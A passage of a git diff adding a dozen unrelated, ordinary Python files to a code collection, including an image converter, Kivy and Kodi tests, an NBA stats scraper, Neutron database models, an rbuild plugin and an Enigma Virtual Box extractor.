or uuid > 0x7fffffff: + # For now, limiting support to a signed integer (which on some platforms, can be 32bits) + raise ArgumentError("Integer should be a positive number and smaller than 0x7fffffff", id=uuid) + + return '--'.join(['d', int64gid(uuid)]) diff --git a/pool/shard009/Python/0081836_pgm_convert.py b/pool/shard009/Python/0081836_pgm_convert.py new file mode 100644 index 0000000000000000000000000000000000000000..127397ce368891893b55ab21b53701af5b9c1a1d --- /dev/null +++ b/pool/shard009/Python/0081836_pgm_convert.py @@ -0,0 +1,48 @@ +#!/usr/bin/python +''' +convert images from PGM to other formats +''' + +import os, sys, glob, cv2, argparse + +def parse_args(): + '''parse command line arguments''' + parser = argparse.ArgumentParser("Convert pgm image to png or jpg") + + parser.add_argument("directory", default=None, + help="directory containing PGM image files") + parser.add_argument("--output-directory", default=None, + help="directory to use for converted files") + parser.add_argument("--format", default='png', choices=['png', 'jpg'], help="type of file to convert to (png or jpg)") + return parser.parse_args() + +def process(args): + '''process a set of files''' + + files = [] + if os.path.isdir(args.directory): + files.extend(glob.glob(os.path.join(args.directory, '*.pgm'))) + else: + if args.directory.find('*') != -1: + files.extend(glob.glob(args.directory)) + else: + files.append(args.directory) + files.sort() + + for f in files: + im_orig = cv2.imread(f,-1) + im_colour = cv2.cvtColor(im_orig, cv2.COLOR_BAYER_GR2BGR) + if not args.output_directory: + outdir = os.path.dirname(f) + else: + outdir = args.output_directory + basename = os.path.basename(f)[:-4] + new_name = os.path.join(outdir, basename + '.' + args.format) + print("Creating %s" % new_name) + cv2.imwrite(new_name, im_colour) + +if __name__ == '__main__': + args = parse_args() + + # main program + process(args) diff --git a/pool/shard009/Python/0081838_test_db_upgrade.py b/pool/shard009/Python/0081838_test_db_upgrade.py new file mode 100644 index 0000000000000000000000000000000000000000..ae2cd33e8b302d0b8f7c011f00107f4b95ffe3ec --- /dev/null +++ b/pool/shard009/Python/0081838_test_db_upgrade.py @@ -0,0 +1,47 @@ +# -*- coding: utf-8 -*- + +""" +python -m unittest discover -v resources/tests/ "test_db_upgrade.py" +""" + +import os +import shutil +import unittest +from xbmcaddon import Addon +from gamedatabase import GameDataBase + +# Shared resources +addon = Addon(id='script.games.rom.collection.browser') +addonPath = addon.getAddonInfo('path') + + +class TestDBUpgrade(unittest.TestCase): + def get_testdata_path(self): + return os.path.join(os.path.dirname(__file__), '..', '..', 'resources', 'tests', 'testdata') + + def test_DBUpgrade(self): + db_path = os.path.join (self.get_testdata_path(), 'database') + + # Setup data - MyGames.db is the hard-coded expected DB name + self.assertTrue(os.path.isfile(os.path.join(db_path, 'MyGames-0.7.4.db')), "Expected to find 0.7.4 DB") + shutil.copyfile(os.path.join(db_path, 'MyGames-0.7.4.db'), os.path.join(db_path, 'MyGames.db')) + + gdb = GameDataBase(db_path) + gdb.connect() + + # Create db if not existent and maybe update to new version + gdb.checkDBStructure() + gdb.close() + + # Check backup files were created + self.assertTrue(os.path.isfile(os.path.join(db_path, 'MyGames.db.backup 0.7.4')), "No backup database created") + + # FIXME TODO Assert version is 0.7.5 + # FIXME TODO Assert no data lost (num of rows for games, publishers, etc, is correct) + + # Cleanup + os.remove(os.path.join(db_path, 'MyGames.db')) + os.remove(os.path.join(db_path, 'MyGames.db.backup 0.7.4')) + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/pool/shard009/Python/0081851_test_uix_widget.py b/pool/shard009/Python/0081851_test_uix_widget.py new file mode 100644 index 0000000000000000000000000000000000000000..92375a6a86a9eaef3e560169df7f1b9e5ff531bb --- /dev/null +++ b/pool/shard009/Python/0081851_test_uix_widget.py @@ -0,0 +1,137 @@ +from kivy.tests.common import GraphicUnitTest + + +class UIXWidgetTestCase(GraphicUnitTest): + + def test_default_widgets(self): + from kivy.uix.button import Button + from kivy.uix.slider import Slider + r = self.render + r(Button()) + r(Slider()) + + def test_button_properties(self): + from kivy.uix.button import Button + r = self.render + # test label attribute inside button + r(Button(text='Hello world')) + r(Button(text='Multiline\ntext\nbutton')) + r(Button(text='Hello world', font_size=42)) + r(Button(text='This is my first line\nSecond line', halign='center')) + + def test_slider_properties(self): + from kivy.uix.slider import Slider + r = self.render + r(Slider(value=25)) + r(Slider(value=50)) + r(Slider(value=100)) + r(Slider(min=-100, max=100, value=0)) + r(Slider(orientation='vertical', value=25)) + r(Slider(orientation='vertical', value=50)) + r(Slider(orientation='vertical', value=100)) + r(Slider(orientation='vertical', min=-100, max=100, value=0)) + + def test_image_properties(self): + from kivy.uix.image import Image + from os.path import dirname, join + r = self.render + filename = join(dirname(__file__), 'test_button.png') + r(Image(source=filename)) + + def test_add_widget_index_0(self): + from kivy.uix.widget import Widget + from kivy.uix.button import Button + r = self.render + root = Widget() + a = Button(text='Hello') + b = Button(text='World', pos=(50, 10)) + c = Button(text='Kivy', pos=(10, 50)) + root.add_widget(a) + root.add_widget(b) + root.add_widget(c, 0) + r(root) + + def test_add_widget_index_1(self): + from kivy.uix.widget import Widget + from kivy.uix.button import Button + r = self.render + root = Widget() + a = Button(text='Hello') + b = Button(text='World', pos=(50, 10)) + c = Button(text='Kivy', pos=(10, 50)) + root.add_widget(a) + root.add_widget(b) + root.add_widget(c, 1) + r(root) + + def test_add_widget_index_2(self): + from kivy.uix.widget import Widget + from kivy.uix.button import Button + r = self.render + root = Widget() + a = Button(text='Hello') + b = Button(text='World', pos=(50, 10)) + c = Button(text='Kivy', pos=(10, 50)) + root.add_widget(a) + root.add_widget(b) + root.add_widget(c, 2) + r(root) + + def test_widget_root_from_code_with_kv(self): + from kivy.lang import Builder + from kivy.factory import Factory + from kivy.properties import StringProperty + from kivy.uix.floatlayout import FloatLayout + + Builder.load_string(""" +: + Label: + text: root.title + +: + CallerWidget: +""") + + class CallerWidget(FloatLayout): + + def __init__(self, **kwargs): + super(CallerWidget, self).__init__(**kwargs) + self.add_widget(MyWidget(title="Hello World")) + + class NestedWidget(FloatLayout): + title = StringProperty('aa') + + class MyWidget(NestedWidget): + pass + + class BaseWidget(FloatLayout): + pass + + Factory.register('MyWidget', cls=MyWidget) + Factory.register('CallerWidget', cls=CallerWidget) + + r = self.render + root = BaseWidget() + r(root) + + ''' + def test_default_label(self): + from kivy.uix.label import Label + self.render(Label()) + + def test_button_state_down(self): + from kivy.uix.button import Button + self.render(Button(state='down')) + + def test_label_text(self): + from kivy.uix.label import Label + self.render(Label(text='Hello world')) + + def test_label_font_size(self): + from kivy.uix.label import Label + self.render(Label(text='Hello world', font_size=16)) + + def test_label_font_size(self): + from kivy.uix.label import Label + self.render(Label(text='Hello world')) + ''' diff --git a/pool/shard009/Python/0081852_charge.py b/pool/shard009/Python/0081852_charge.py new file mode 100644 index 0000000000000000000000000000000000000000..86ead4065fff5f41d84a3eebc0f7845cc1babdf1 --- /dev/null +++ b/pool/shard009/Python/0081852_charge.py @@ -0,0 +1,62 @@ +""" +Plot the charge.dat data. +""" + +#import matplotlib as mpl +import matplotlib.pyplot as plt + +DataFile = 'charge.dat' + +# read in raw data +t_data = [] +psv_data = [] +psi_data = [] +volts_data = [] +percent_data = [] +time = 0 +with open(DataFile, 'r') as f: + # date hour PSv PSi v % + # 2018-07-13,1745,8.39,344,7.82,101 + for line in f: + (date, hour, psv, psi, volts, percent) = line.strip().split(',') + psv = float(psv) + psi = int(psi) + volts = float(volts) + percent = int(percent) + t_data.append(time) + time += 0.25 + psv_data.append(psv) + psi_data.append(psi) + volts_data.append(volts) + percent_data.append(percent) + +# plot data +fig, ax = plt.subplots() +plt.subplot(4, 1, 1) +plt.plot(t_data, psv_data, label='PSv') +plt.title('2S 18650 Charge') +plt.ylabel('PSv (V)') + +plt.subplot(4, 1, 2) +plt.plot(t_data, psi_data, label='PSi') +#plt.title('2S 18650 Charge') +plt.ylabel('PSi (mA)') + +plt.subplot(4, 1, 3) +plt.plot(t_data, volts_data, label='volts') +#plt.title('2S 18650 Charge') +plt.ylabel('volts') + +plt.subplot(4, 1, 4) +plt.plot(t_data, percent_data, label='percent charge') +#plt.title('2S 18650 Charge') +plt.ylabel('charge %') +plt.xlabel('time (hours)') +ax.grid(True) + + +#plt.xlabel('time (hours)') +#plt.ylabel('percent charge') +#ax.legend(loc='top left') + +plt.show() diff --git a/pool/shard009/Python/0081855_builder.py b/pool/shard009/Python/0081855_builder.py new file mode 100644 index 0000000000000000000000000000000000000000..b407fa4e0b6a6cc7d432d11d6a62ed3ca24cafd5 --- /dev/null +++ b/pool/shard009/Python/0081855_builder.py @@ -0,0 +1,54 @@ +# Copyright (c) 2010 Arthur Mesh +# 2010 Christopher Nelson +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +from pysnmp.smi import builder, view + +class Builder(object): + """ + Build the strings from which the tree and data and gathered. + """ + def __init__(self, mib): + """ + Create the builder with the given mib module. + """ + self.mib = mib + self.mibbuilder = builder.MibBuilder().loadModules(mib) + self.viewcontroller = view.MibViewController(self.mibbuilder) + + def get_parts(self): + """ + Get the lists of bits of the mib. + """ + parts = [] + + oid, label, suffix = self.viewcontroller.getFirstNodeName(self.mib) + parts.append( (label, oid) ) + + done = False + while not done: + try: + oid, label, suffix = self.viewcontroller.getNextNodeName( + label, self.mib) + parts.append( (label, oid) ) + except: + done = True + + return parts diff --git a/pool/shard009/Python/0081857_Input.py b/pool/shard009/Python/0081857_Input.py new file mode 100644 index 0000000000000000000000000000000000000000..6eca431cd359ec11d19c3ecd9fb7b3e64bed269e --- /dev/null +++ b/pool/shard009/Python/0081857_Input.py @@ -0,0 +1,119 @@ +# Module: Operations.BioNano.Compare.Input +# Version: 0.1 +# Author: Aaron Sharp +# Date: 08/24/2015 +# +# The purpose of this module is to encapsulate an input file (.cmap) for optical map comparisons +from Operations.Step import Step +from os import path + +class Input(Step): + def __init__(self, workspace): + self.workspace=workspace + file_data=self.workspace.input_file.split('/') + self.file_name=file_data[len(file_data)-1] + self.prereq=None + self.quality=None + def __hash__(self): + return hash((self.workspace.input_file, self.workspace.work_dir, self.__class__.__name__)) + + def __eq__(self, other): + if other is None: + return False + if self.__class__ != other.__class__: + return False + return self.workspace==other.workspace + def __ne__(self, other): + return not self == other + + def __str__(self): + return "Input: " + self.workspace.input_file + + def writeCode(self): + code="cd " + self.workspace.work_dir + "\n" + code+="mkdir " + self.getStepDir() + "\n" + code+="cd " + self.getStepDir() + "\n" + code+="pwd\n" + + code+="ln -s ../" + self.workspace.input_file + " " + self.file_name + "\n" + code+="if [ $? -eq 0 ]; then touch Complete.status; fi;\n" + return [code] + + def getStepDir(self): + if hasattr(self, "step_dir"): + return self.step_dir + return "comparison_input_" + self.file_name + def getOutputFile(self): + return self.getStepDir() + "/" + self.file_name + def getOutputFileExtension(self): + return CmapFile.getExtension() + def autoGeneratePrereqs(self): + pass + def getPrereq(self): + return self.prereq + + def getCmapFile(self): + return CmapFile(self.getOutputFile()) + + def loadQualityReportItems(self): + if self.quality is None: + self.loadQualityObjectFromFile() + return {"Length: " + str(self.quality.length): 1, + "Count: " + str(self.quality.count): 1, + "N50: " + str(self.quality.n50): 2} + + def createQualityObject(self): + if not self.isComplete(): + raise Exception("Quality cannot be determined before step is complete") + lengths=[] + total_length=0 + ids=set() + max_coverage=-1 + min_max_coverage=-1 + for label in self.getCmapFile().parse(): + if label.contig_id not in ids: + if max_coverage < min_max_coverage or min_max_coverage < 0: + min_max_coverage=max_coverage + max_coverage=0.0 + lengths.append(label.contig_len) + total_length+=label.contig_len + ids.add(label.contig_id) + if label.coverage > max_coverage: + max_coverage=label.coverage + + + sorted_lengths=sorted(lengths, reverse=True) + minlen=sorted_lengths[len(sorted_lengths)-1] + maxlen=sorted_lengths[0] + n50=0 + length_included_in_n50=0 + target_length_included=float(total_length)/2.0 + for length in sorted_lengths: + length_included_in_n50+=length + if length_included_in_n50 >= target_length_included: + n50=length + break + + count=len(ids) + self.quality=Quality(length=total_length, count=count, average_length=total_length/count, n50=n50, min=minlen, max=maxlen, min_max_coverage=min_max_coverage) + self.saveQualityObjectToFile() + + def loadQuality_length(self): + if self.quality is None: + self.loadQualityObjectFromFile() + return self.quality.length + + def loadQuality_count(self): + if self.quality is None: + self.loadQualityObjectFromFile() + return self.quality.count + + def getMem(self): + return 1 + def getTime(self): + return 1 + def getThreads(self): + return 1 + +from Operations.BioNano.files import CmapFile +from Operations.Step import Quality diff --git a/pool/shard009/Python/0081859_network.py b/pool/shard009/Python/0081859_network.py new file mode 100644 index 0000000000000000000000000000000000000000..6843ac5fab485dd3d44a8e0e8a6b7be406e129af --- /dev/null +++ b/pool/shard009/Python/0081859_network.py @@ -0,0 +1,214 @@ +__author__ = 'jerry' + +import datetime as dt +import json +import os + +import pandas as pd +import requests +from bs4 import BeautifulSoup +from dateutil import parser as date_parser + +from utils.settings import si_base, teams, players, pbp +from utils.misc import format_date + + +def get_games(date, output_file=None): + + # games_url = base + '/scoreboard/' + format_date(date) + '/games.json' + games_url = si_base + 'scoreboard/' + + result = requests.get(games_url, params={'date': format_date(date)}) + + soup = BeautifulSoup(result.text) + + #date_string = date.strftime('%B %d,%Y') + + games = soup.select('div.component.game') + game_ids = [] + + for game in games: + game_ids.append(game['data-gameid']) + #game_date_elem = game.find('div', 'game-anchor') + # game_date_text = game['id'] + # game_date = date_parser.parse(game_date_text).date() + # if game_date == date: + # game_id = int(game['data-id']) + # game_ids.append(game_id) + + if output_file is not None: + of = open(output_file, 'w') + of.write(json.dumps({'game_date': format_date(date), 'game_ids': game_ids})) + of.close() + + return game_ids + + +def get_all_data(start_date, end_date, season, ignore_dates=[]): + + data_dir = os.path.join(os.path.abspath('.'), 'json_data', str(season)) + if not os.path.exists(data_dir): + os.mkdir(data_dir) + + mongo_dir = os.path.join(os.path.abspath('.'), 'mongo_data', str(season)) + if not os.path.exists(mongo_dir): + os.mkdir(mongo_dir) + + date_list = [start_date + dt.timedelta(days=x) for x in range(0, (end_date - start_date).days)] + + for ignore_date in ignore_dates: + if ignore_date in date_list: + date_list.remove(ignore_date) + + for game_day in date_list: + print 'Processing game day', game_day + + game_ids = get_games(game_day, 'json_data/{}/game-day-{}.json'.format(season, format_date(game_day))) + + # now all the data is just contained in the boxscore... + + base_url = 'http://www.si.com/private/stats-proxy/v1/nba/game_detail' + + for game_id in game_ids: + + + result = requests.get(base_url, params={'id': str(game_id), + 'league': 'nba', + 'box_score': 'true', + 'play_by_play': 'true'}) + + + try: + json_result = result.json()['data'] + #dict_result = json.loads(json_result)['apiResults'] + #print json_result + output_file = 'json_data/{}/pbp_{}_{}.json'.format(season, format_date(game_day), game_id) + with open(output_file, 'w') as of: + json.dump(json_result, of, indent=4) + + boxscore_data = json_result['box_scores'] + team_data = json_result['teams'] + + for team in team_data: + filtered_team_data = {'id': team['id'], + 'location': team['location']['name'], + 'nickname': team['title'], + 'abbreviation': team['abbreviation']} + print filtered_team_data['nickname'] + teams.update({'id': team['id']}, filtered_team_data, upsert=True) + + for team in boxscore_data: + for player in team['playerstats']: + filtered_player_data = {'id': player['player']['id'], + 'firstName': player['player']['name']['first'], + 'lastName': player['player']['name']['last']} + players.update({'id': player['player']['id']}, filtered_player_data, upsert=True) + + json_result['game_date'] = game_day + pbp.update({'id': int(game_id)}, json_result, upsert=True) + + except Exception as ex: + print ex + + +def get_odds_from_donbest(start_date, end_date): + + dates = pd.date_range(start_date, end_date) + base = 'http://www.donbest.com/nba/odds/' + str_format = '%Y%m%d' + + odds_results = pd.DataFrame(columns=['game_date', 'game_id', 'home_team', 'away_team', 'home_line']) + + skip_dates = [dt.datetime(2014, 2, 14), dt.datetime(2014, 2, 15)] + + for i, date in enumerate(dates): + + print 'getting results for', date + + target = base + date.strftime(str_format) + '.html' + res = requests.get(target) + soup = BeautifulSoup(res.text) + + rows = soup.select('.statistics_table_row') + \ + soup.select('.statistics_table_alternateRow') + + for row in rows: + import pdb + pdb.set_trace() + #try: + team_data = extract_row_info(row) + + if team_data: + home_team = team_data[0][1] + away_team = team_data[1][1] + home_line = team_data[0][0] + + game = Game.Game.look_up_game(date, home_team) + + if game: + + data = {'game_date': game.date, + 'game_id': game.id, + 'home_team': home_team.id, + 'away_team': away_team.id, + 'home_line': home_line, + 'actual_result': game.home_points - game.away_points} + + odds_results = odds_results.append(data, ignore_index=True) + + #except Exception as ex: + # print ex + # print 'Something went wrong extracting odds on {}'.format(date) + + odds_results.index.name = 'game_date' + + return odds_results + + +def extract_row_info(row): + + matcher = '-?[\d]+\.[\d]+' + + def to_number(x): + if x == 'PK': + return 0.0 + else: + try: + val = float(x) + except ValueError as ex: + print ex + val = 0.0 + return val + + odds = row.select('.oddsOpener div')[0] + odds_nums = [c.string for c in odds.children if c.string is not None] + odds_nums = map(to_number, odds_nums) + + team_elems = row.select('nobr span') + team_names = [team.text for team in team_elems] + + home_team_nick = team_names[1].split()[-1] + away_team_nick = team_names[0].split()[-1] + + #home_team_nick = home_team_nick.replace('Hornets', 'Hornets') + #away_team_nick = away_team_nick.replace('Bobcats', 'Hornets') + home_team_nick = home_team_nick.replace('Trailblazers', 'Trail Blazers') + away_team_nick = away_team_nick.replace('Trailblazers', 'Trail Blazers') + + # print home_team_nick, 'vs', away_team_nick + + home_data = teams.find_one({'nickname': home_team_nick}) + away_data = teams.find_one({'nickname': away_team_nick}) + + if home_data and away_data: + + home_team = Team.Team(home_data['id']) + away_team = Team.Team(away_data['id']) + + if odds_nums[0] < 100: + return [(odds_nums[0] * -1, home_team), (odds_nums[0], away_team)] + elif odds_nums[1] < 100: + return [(odds_nums[1], home_team), (odds_nums[1] * -1, away_team)] + + else: + return None diff --git a/pool/shard009/Python/0081861_config.py b/pool/shard009/Python/0081861_config.py new file mode 100644 index 0000000000000000000000000000000000000000..00e853672f677356f980e7b70f286b89d6f8c109 --- /dev/null +++ b/pool/shard009/Python/0081861_config.py @@ -0,0 +1,69 @@ +# Copyright 2017 FUJITSU LIMITED +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import sys + +from oslo_config import cfg +from oslo_log import log + +from monasca_persister import conf +from monasca_persister import version + +CONF = conf.CONF +LOG = log.getLogger(__name__) + +_CONF_LOADED = False + + +def _get_config_files(): + """Get the possible configuration files accepted by oslo.config + + This also includes the deprecated ones + """ + # default files + conf_files = cfg.find_config_files(project='monasca', + prog='monasca-persister') + # deprecated config files (only used if standard config files are not there) + if len(conf_files) == 0: + old_conf_files = cfg.find_config_files(project='monasca', + prog='persister') + if len(old_conf_files) > 0: + LOG.warning('Found deprecated old location "{}" ' + 'of main configuration file'.format(old_conf_files)) + conf_files += old_conf_files + return conf_files + + +def parse_args(): + global _CONF_LOADED + if _CONF_LOADED: + LOG.debug('Configuration has been already loaded') + return + + log.set_defaults() + log.register_options(CONF) + + CONF(prog=sys.argv[1:], + project='monasca', + version=version.version_str, + default_config_files=_get_config_files(), + description='Persists metrics & alarm history in TSDB') + + log.setup(CONF, + product_name='monasca-persister', + version=version.version_str) + + conf.register_opts() + + _CONF_LOADED = True diff --git a/pool/shard009/Python/0081866_reachability_test_db.py b/pool/shard009/Python/0081866_reachability_test_db.py new file mode 100644 index 0000000000000000000000000000000000000000..c6cb830511ae2669fc50c9d1c46d617a39517144 --- /dev/null +++ b/pool/shard009/Python/0081866_reachability_test_db.py @@ -0,0 +1,138 @@ +import json +import datetime +import sqlalchemy as sa +from neutron.db import models_v2 +from neutron.db import model_base +from sqlalchemy.dialects import postgresql +from sqlalchemy.dialects.mysql.base import VARCHAR +from sqlalchemy.orm import relationship, backref +from sqlalchemy.types import Enum, TIMESTAMP, TypeDecorator +from sqlalchemy import Table, Column, ForeignKey, func, Integer + +class JSONEncodedDict(TypeDecorator): + """Represents an immutable structure as a json-encoded string. + Usage:: + JSONEncodedDict(255) + """ + impl = VARCHAR + def process_bind_param(self, value, dialect): + if value is not None: + value = json.dumps(value) + return value + + def process_result_value(self, value, dialect): + if value is not None: + value = json.loads(value) + return value + +class ReachabilityTest(model_base.BASEV2): + ''' + A table to store user configured reachability tests. + ''' + __tablename__ = 'reachabilitytest' + id = Column(Integer, primary_key=True) + tenant_id = sa.Column(sa.String(64), nullable=False) + test_id = sa.Column(sa.String(64), nullable=False) + src_tenant_id = sa.Column(sa.String(64), nullable=False) + src_segment_id = sa.Column(sa.String(64), nullable=False) + src_ip = sa.Column(sa.String(16), nullable=False) + dst_ip = sa.Column(sa.String(16), nullable=False) + expected_result = sa.Column(Enum("dropped by route", + "dropped by policy", + "dropped by security group", + "dropped due to private segment", + "dropped due to loop", + "packet in", "forwarded", "dropped", + "unspecified sources", + "unsupported", "invalid input", + "inconsistent status", + "no traffic detected", + name="expected_result"), nullable=False) + + def get_connection_source(self): + source = {} + source['tenant'] = self.src_tenant_id + source['segment'] = self.src_segment_id + source['ip'] = self.src_ip + return source + + def get_connection_destination(self): + destination = {} + destination['ip'] = self.dst_ip + return destination + +class ReachabilityTestResult(model_base.BASEV2): + ''' + A table to store the results of user configured reachability tests. + ''' + __tablename__ = 'reachabilitytestresult' + id = Column(Integer, primary_key=True) + test_primary_key = sa.Column(Integer, ForeignKey('reachabilitytest.id'), + nullable=False) + tenant_id = sa.Column(sa.String(64), nullable=False) + test_id = sa.Column(sa.String(64), nullable=False) + test_time = sa.Column(TIMESTAMP(timezone=True), + nullable=False, default=func.now()) + test_result = sa.Column(Enum("pass", "fail", "pending"), nullable=False) + detail = sa.Column(JSONEncodedDict(8192), nullable=True) + + reachabilitytest = relationship("ReachabilityTest", + backref=backref('reachabilitytestresult', + order_by=id, uselist=True, + cascade='delete,all')) + +class ReachabilityQuickTest(model_base.BASEV2): + ''' + A table to store user configured quick tests. + ''' + __tablename__ = 'reachabilityquicktest' + id = Column(Integer, primary_key=True) + tenant_id = sa.Column(sa.String(64), nullable=False) + src_tenant_id = sa.Column(sa.String(64), nullable=False) + src_segment_id = sa.Column(sa.String(64), nullable=False) + src_ip = sa.Column(sa.String(16), nullable=False) + dst_ip = sa.Column(sa.String(16), nullable=False) + expected_result = sa.Column(Enum("dropped by route", + "dropped by policy", + "dropped by security group", + "dropped due to private segment", + "dropped due to loop", + "packet in", "forwarded", "dropped", + "unspecified sources", + "unsupported", "invalid input", + "inconsistent status", + "no traffic detected", + name="expected_result"), + nullable=False) + + def get_connection_source(self): + source = {} + source['tenent'] = self.src_tenant_id + source['segment'] = self.src_segment_id + source['ip'] = self.src_ip + return source + + def get_connection_destination(self): + destination = {} + destination['ip'] = self.dst_ip + return destination + +class ReachabilityQuickTestResult(model_base.BASEV2): + ''' + A table to store the results of user configured quick tests. + ''' + __tablename__ = 'reachabilityquicktestresult' + id = Column(Integer, primary_key=True) + test_primary_key = sa.Column(Integer, + ForeignKey('reachabilityquicktest.id'), nullable=False) + tenant_id = sa.Column(sa.String(64), nullable=False) + test_time = sa.Column(TIMESTAMP(timezone=True), + nullable=False, default=func.now()) + test_result = sa.Column(Enum("pass", "fail", "pending"), nullable=False) + detail = sa.Column(JSONEncodedDict(8192), nullable=True) + + reachabilitytest = relationship("ReachabilityQuickTest", + backref=backref('reachabilityquicktestresult', + order_by=id, uselist=True, + cascade='delete,all')) + diff --git a/pool/shard009/Python/0081870_buildpackages.py b/pool/shard009/Python/0081870_buildpackages.py new file mode 100644 index 0000000000000000000000000000000000000000..e16864ce082bcab70bfdb566744bde15e23827b7 --- /dev/null +++ b/pool/shard009/Python/0081870_buildpackages.py @@ -0,0 +1,117 @@ +# +# Copyright (c) SAS Institute Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + + +from rbuild import errors +from rbuild import pluginapi +from rbuild.productstore.decorators import requiresStage +from rbuild.pluginapi import command + +from rbuild_plugins.build import packages +from rbuild_plugins.build import refresh + +class BuildPackagesCommand(command.BaseCommand): + """ + Builds or rebuilds specified packages, or all checked-out packages + if none are specified. + + Additionally, rebuilds any other packages in the product group that + depend on the built packages. + """ + + help = 'Build edited packages for this stage' + paramHelp = '[package]*' + docs = {'refresh' : 'refreshes the source of specified packages, or all ' + 'checked-out packages if none are specified', + 'message' : 'message describing why the commit was performed', + 'no-watch' : 'do not watch the job after starting the build', + 'no-commit' : 'do not automatically commit successful builds', + 'no-recurse' : 'default behavior left for backwards compatibility', + 'recurse' : 'build every package listed on the ' + 'command line plus all of its dependencies', + } + + + + def addLocalParameters(self, argDef): + argDef['no-watch'] = command.NO_PARAM + argDef['no-commit'] = command.NO_PARAM + argDef['no-recurse'] = command.NO_PARAM + argDef['recurse'] = command.NO_PARAM + argDef['refresh'] = command.NO_PARAM + argDef['message'] = '-m', command.ONE_PARAM + + #pylint: disable-msg=R0201,R0903 + # could be a function, and too few public methods + @requiresStage + def runCommand(self, handle, argSet, args): + watch = not argSet.pop('no-watch', False) + commit = not argSet.pop('no-commit', False) + recurse = argSet.pop('recurse', False) + argSet.pop('no-recurse', False) # ignored, now the default + refreshArg = argSet.pop('refresh', False) + message = argSet.pop('message', None) + success = True + _, packageList, = self.requireParameters(args, allowExtra=True) + if not packageList: + if refreshArg: + handle.BuildPackages.refreshAllPackages() + jobId = handle.BuildPackages.buildAllPackages() + else: + if refreshArg: + handle.BuildPackages.refreshPackages(packageList) + jobId = handle.BuildPackages.buildPackages(packageList, recurse) + if watch and commit: + success = handle.Build.watchAndCommitJob(jobId, message) + elif watch: + success = handle.Build.watchJob(jobId) + + if not success: + raise errors.PluginError('Package build failed') + +class BuildPackages(pluginapi.Plugin): + + def initialize(self): + self.handle.Commands.getCommandClass('build').registerSubCommand( + 'packages', BuildPackagesCommand, + aliases=['package', ]) + + def buildAllPackages(self): + self.handle.Build.warnIfOldProductDefinition('building all packages') + job = self.createJobForAllPackages() + jobId = self.handle.facade.rmake.buildJob(job) + self.handle.productStore.setPackageJobId(jobId) + return jobId + + def buildPackages(self, packageList, recurse=True): + self.handle.Build.warnIfOldProductDefinition('building packages') + job = self.createJobForPackages(packageList, recurse) + jobId = self.handle.facade.rmake.buildJob(job) + self.handle.productStore.setPackageJobId(jobId) + return jobId + + def createJobForAllPackages(self): + return packages.createRmakeJobForAllPackages(self.handle) + + def createJobForPackages(self, packageList, recurse=True): + return packages.createRmakeJobForPackages(self.handle, packageList, + recurse) + + def refreshPackages(self, packageList=None): + return refresh.refreshPackages(self.handle, packageList) + + def refreshAllPackages(self): + return refresh.refreshAllPackages(self.handle) diff --git a/pool/shard009/Python/0081871_evbe.py b/pool/shard009/Python/0081871_evbe.py new file mode 100644 index 0000000000000000000000000000000000000000..0f18eb252398445e5dd378c89965f15d4cd960e6 --- /dev/null +++ b/pool/shard009/Python/0081871_evbe.py @@ -0,0 +1,74 @@ +#-*- coding: utf-8 -*- +""" + Copyright (C) 2013 Roman Bondarenko + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. +""" +import os +import sys +from argparse import ArgumentParser +from EVBE.EVBFile import EVBFile +from EVBE.EVBContainer import Container +from aplib import aPLib + +__version__ = '1.0.9' +__author__ = 'Roman Bondarenko' +__contact__ = 'roman@reu.org.ua' + +if __name__ == '__main__': + parser = ArgumentParser(description='Enigma Virtual Box Extractor v%s, by Roman Bondarenko' % __version__) + parser.add_argument('file', help='input file') + parser.add_argument('-e', action='store_true', help='extract data') + parser.add_argument('-o', dest='output_directory', + help='path to folder into which the data will be retrieved (default: _data)') + args = parser.parse_args() + + file_ = EVBFile(args.file) + if not file_.read(): + sys.exit(2) + 